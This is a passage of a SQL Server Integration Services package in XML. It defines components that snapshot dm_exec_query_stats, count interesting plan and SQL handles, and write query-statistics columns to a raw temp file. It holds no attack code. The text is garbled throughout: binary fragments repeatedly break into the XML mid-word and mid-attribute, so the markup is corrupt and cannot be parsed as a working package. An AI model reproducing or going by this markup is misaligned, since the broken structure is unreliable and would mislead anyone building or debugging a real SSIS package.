Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[plan_handle]	!!!!!!!!!!!!!!!!!!!!!!!!`;x"AHv" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[plan_handle]" name="plan_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[creation_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[creation_time]" name="creation_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[last_execution_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[last_execution_time]" name="last_execution_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[execution_count]" name="execution_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_worker_time]" name="total_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_worker_time]" name="min_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_worker_time]" name="max_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error 	!!!!!!!!!!!!!!!!!!!!!!!!`;x	*JHvOutput].Columns[total_physical_reads]" name="total_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_physical_reads]" name="min_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_physical_reads]" name="max_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_logical_writes]" name="total_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_logical_writes]" name="min_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_logical_writes]" name="max_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_logical_reads]" name="total_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_logical_reads]" name="min_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Up	!!!!!!!!!!!!!!!!!!!!!!!!`;x
9Hvload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_logical_reads]" name="max_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_clr_time]" name="total_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_clr_time]" name="min_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_clr_time]" name="max_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[total_elapsed_time]" name="total_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[min_elapsed_time]" name="min_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[max_elapsed_time]" name="max_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upl	!!!!!!!!!!!!!!!!!!!!!!!!`;x-WHvoad Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting plan handles" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Number of interesting plan handles"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlPlanRowCountIn</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting plan handles.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting plan handles.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting plan handles.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting sql handles" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Number of interesting sql handles"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlTextRowCountIn</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting sql handles.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting sql handles.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze 	!!!!!!!!!!!!!!!!!!!!!!!!`;xdHvquery statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting sql handles.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted plan handles" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Number of not inserted plan handles"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlPlanRowCountError</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted plan handles.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted plan handles.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted plan handles.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted sql handles" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Number of not inserted sql handles"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlTextRowCountError</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted sql handles.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted sql handles.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted sql handles.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count after TopN queries" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Row count after TopN queries"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::InterestingQueriesRowCountOut</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count after TopN queries.Inputs[Row Count 	!!!!!!!!!!!!!!!!!!!!!!!!`;x-HvInput 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count after TopN queries.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count after TopN queries.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count from dm_exec_query_stats" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Row count from dm_exec_query_stats"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::InterestingQueriesRowCountIn</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count from dm_exec_query_stats.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count from dm_exec_query_stats.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count from dm_exec_query_stats.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file" componentClassID="{04762BB6-892F-4EE6-AD46-9CEB0A7EC7A2}" contactInfo="Loads raw data into a file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;2" description="Loads raw data into a file." name="RFD - Save current snapshot in temp file" version="2"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::InterestingQueriesLastSnapshotFileNameOutput</property><property dataType="System.Int32" description="Indicates what option is used to write to the file." name="WriteOption" typeConverter="WriteOption">0</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input]" hasSideEffects="true" name="Raw File Destination Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" linea	!!!!!!!!!!!!!!!!!!!!!!!!`<SHvgeId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_start_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_end_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_generation_num]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" cachedSortKeyPosition="5" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[creation_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[last_execution_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Ba	!!!!!!!!!!!!!!!!!!!!!!!!`<X.YHvtch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[execution_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Bat	!!!!!!!!!!!!!!!!!!!!!!!!`<	 s
Hvch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and 